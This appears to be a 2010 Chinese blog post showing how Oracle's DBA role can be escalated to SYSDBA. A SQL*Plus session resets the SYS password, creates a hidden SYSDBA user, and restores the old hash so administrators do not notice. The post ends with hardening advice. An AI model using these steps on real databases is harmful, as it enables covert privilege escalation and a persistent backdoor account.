oracle中通过dba权限获得sysdba权限

 

oracle中通过dba权限获得sysdba权限2010-07-01 11:01在日常的数据库维护过程中，有很多朋友为了权限赋予的方便，一般都会直接赋予新建用户dba角色。dba这个角色是数据库中权限非常大的，这里我们来看看如何通过一个dba角色来获得sysdba权限。



在dba角色的权限列表中有一项：alter user权限，这个权限可以允许我们修改数据库所有用户账户信息，包括sys用户的。



>alter user sys identified by mypassword;



这样修改之后你会发现，你可以使用修改后的密码来登入sys，这样你就获得了sys的权限。有时候由于sys密码频繁修改，或者长时间不用，导致密码丢失可以用这种方法很好的解决。 当然，如果觉得直接去修改原先的sys密码会很不安全，因为这会引起管理员的注意，只是需要使用之后再还回去，但又不知道原先的密码，不能通过上面的语句 修改回去，这个时候，可以用alter user 的另一个语句来实现



>alter user sys identified by values 's1213asdwe';



下面是个修改过程的例子。





SQL*Plus: Release 10.1.0.3.0 - Production on Wed Jun 30 19:41:28 2010

Copyright (c) 1982, 2004, Oracle. All rights reserved.

SQL> conn

Enter user-name: justay

Enter password:

Connected.

SQL> select username,password from dba_users where username='SYS';



USERNAME PASSWORD

------------------------------ ------------------------------

SYS 4001B8AE29A7B401



SQL> alter user sys identified by oracle;



User altered.



SQL> disconn

Disconnected from Oracle Database 10g Enterprise Edition Release 10.1.0.3.0 - Production

With the Partitioning, OLAP and Data Mining options

SQL> conn

Enter user-name: sys as sysdba

Enter password:

Connected.

SQL> create user hideac identified by oracle;



User created.



SQL> grant sysdba to hideac;



Grant succeeded.



SQL> disconn

Disconnected from Oracle Database 10g Enterprise Edition Release 10.1.0.3.0 - Production

With the Partitioning, OLAP and Data Mining options

SQL> conn

Enter user-name: justay

Enter password:

Connected.

SQL> alter user sys identified by values '4001B8AE29A7B401'; --将sys用户密码还原



User altered.





从上面可以看出在拥有dba权限的情况下，新建了一个拥有sysdba权限的用户hideac。 这个现象告诉我们

1.不要轻易给一个用户dba权限。

2.如果非要给dba权限，请修改sys为OS验证，并确保数据库服务器操作系统口令的安全



3.当然，也可以revoke掉dba的grant权限和alter user权限



SQL>revoke alter user from dba

SQL>revoke grant any role from dba

SQL>revoke grant any privilege from dba

SQL>revoke grant any object privilege from dba